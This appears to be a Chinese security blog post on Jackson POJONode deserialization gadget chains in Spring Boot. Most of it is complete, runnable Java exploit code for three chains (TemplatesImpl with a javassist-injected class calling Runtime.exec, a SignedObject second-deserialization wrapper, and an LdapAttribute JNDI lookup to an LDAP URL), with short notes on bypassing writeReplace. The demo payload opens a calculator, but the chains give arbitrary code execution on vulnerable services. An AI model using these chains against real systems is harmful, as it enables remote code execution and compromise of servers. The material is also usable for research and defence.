前言
Springboot一般都会自带JackSon
这个依赖包,JackSon
跟Fastjson
有相同的功效
简单复现
package com.example.jakeson.demo;
import java.io.IOException;
import java.io.Serializable;
public class User implements Serializable {
public User() {
}
public Object getName() throws IOException {
Runtime.getRuntime().exec("calc");
return "1";
}
public Object setName(String name) {
System.out.println("setname");
return "2";
}
}
package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
public class JakesonDemo {
public static void main(String[] args) {
User user = new User();
POJONode jsonNodes = new POJONode(user);
jsonNodes.toString();
}
}
运行即可弹计算器
Jackson反序列化利用链
注意点
PoJoNode
类是继承ValueNode
,ValueNode
是继承BaseJsonNode
类,我们看看BaseJsonNode
类
它拥有writeReplace
方法,有这个方法就意味着反序列化时不会走正常渠道,而是走这个writeReplace
方法,这是反序列化的规则,解决办法就是重写BaseJsonNode
类
把这个writeReplace
注释掉即可
TemplatesImpl链
package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.util.Base64;
public class TemplatesImplDemo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[][] bytes = new byte[][]{ct.toBytecode()};
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode pojoNode = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,pojoNode);
System.out.println(serial(exp));
deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
TemplatesImpl的流程就不跟了,简单的跟一下Jackson的流程,BadAVEE里面触发toString
进入到重写的BaseJsonNode
类的toString方法
中间流程断了,。。。。,跟到最后,在StdSerializer
类中wrapAndThrow
方法调用到了getter
SignObject链
二次反序列化,无需多讲
package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
public class SignObjectDemo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[][] bytes = new byte[][]{ct.toBytecode()};
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode pojoNode = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,pojoNode);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(exp,privateKey,signingEngine);
POJONode pojoNode2 = new POJONode(signedObject);
BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val2.setAccessible(true);
val2.set(exp2,pojoNode2);
System.out.println(serial(exp2));
deserial(serial(exp2));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
LdapAttribute链
package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
import javax.management.BadAttributeValueExpException;
import javax.naming.CompositeName;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
public class LdapAttributeDemo {
public static void main( String[] args ) throws Exception {
String ldapCtxUrl = "ldap://127.0.0.1:1099/";
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
new Class[] {String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
new Object[] {"name"});
Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
baseCtxUrlField.setAccessible(true);
baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
rdnField.setAccessible(true);
rdnField.set(ldapAttribute, new CompositeName("a//b"));
POJONode jsonNodes = new POJONode(ldapAttribute);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException, IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
LdapAttribute
类中有getter方法调用了lookup
两处入口,上面poc进入的是getAttributeDefinition
方法,payload有些讲究,我们之前的payload都是ldap://xxxxx/xxx
,这里payload必须是ldap://xxxx/
不需要后缀了,具体原因是,艹了,没有java文件调试不了,不想去下了,大伙去看别的师傅的思路吧